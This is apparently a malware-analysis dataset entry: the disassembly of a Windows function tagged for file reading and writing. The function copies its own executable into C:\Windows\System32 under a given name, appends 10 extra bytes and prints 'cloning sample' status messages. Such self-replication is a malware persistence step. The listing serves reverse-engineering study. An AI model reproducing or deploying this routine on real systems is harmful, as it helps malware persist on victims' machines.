Function at 0x402347
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x948
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x920]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
test eax, eax
sete al
test al, al
je 0x402392
mov dword [esp], str.WARNING:_Cannot_obtain_executable_name
call sub.msvcrt.dll_puts
mov eax, 1
jmp 0x40262c
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.C:WindowsSystem32_s
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x120]
mov dword [esp], eax
call fcn.0040b280
lea eax, [ebp - 0x120]
mov dword [esp + 8], eax
lea eax, [ebp - 0x920]
mov dword [esp + 4], eax
mov dword [esp], str.INFO:_Cloning_sample__s_to__s_n
call sub.msvcrt.dll_printf
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0xc0000000
lea eax, [ebp - 0x120]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x402442
call fcn.00402770
mov dword [esp + 4], eax
mov dword [esp], str.ERROR:_Cannot_write_to_Windows_directory:__s_n
call sub.msvcrt.dll_printf
mov eax, 1
jmp 0x40262c
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
lea eax, [ebp - 0x920]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4024b7
call fcn.00402770
mov dword [esp + 8], eax
lea eax, [ebp - 0x920]
mov dword [esp + 4], eax
mov dword [esp], str.ERROR:_Cannot_open__s_for_reading:__s_n
call sub.msvcrt.dll_printf
mov eax, 1
jmp 0x40262c
mov dword [ebp - 0xc], 0
jmp 0x402521
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x402561
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x1c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
lea eax, [ebp - 0x520]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x40251b
call fcn.00402770
mov dword [esp + 4], eax
mov dword [esp], str.ERROR:_Writing_to_file_failed:__s_n
call sub.msvcrt.dll_printf
jmp 0x402562
mov eax, dword [ebp - 0x18]
add dword [ebp - 0xc], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x18]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x520]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
call eax
sub esp, 0x14
test eax, eax
setne al
test al, al
jne 0x4024c0
jmp 0x402562
nop
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
cmp dword [ebp - 0xc], 0
jne 0x402597
call fcn.00402770
mov dword [esp + 4], eax
mov dword [esp], str.ERROR:_Writing_to_file_failed:__s_n
call sub.msvcrt.dll_printf
mov eax, 1
jmp 0x40262c
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0xa
lea eax, [ebp - 0x520]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x4025ed
call fcn.00402770
mov dword [esp + 4], eax
mov dword [esp], str.ERROR:_Writing_to_file_failed:__s_n
call sub.msvcrt.dll_printf
mov eax, 1
jmp 0x40262c
add dword [ebp - 0xc], 0xa
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [0x41b020]
test eax, eax
je 0x402627
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
lea eax, [ebp - 0x120]
mov dword [esp + 4], eax
mov dword [esp], str.DEBUG:_Cloned_sample__s_is__d_bytes_in_size_n
call sub.msvcrt.dll_printf
mov eax, 0
leave
ret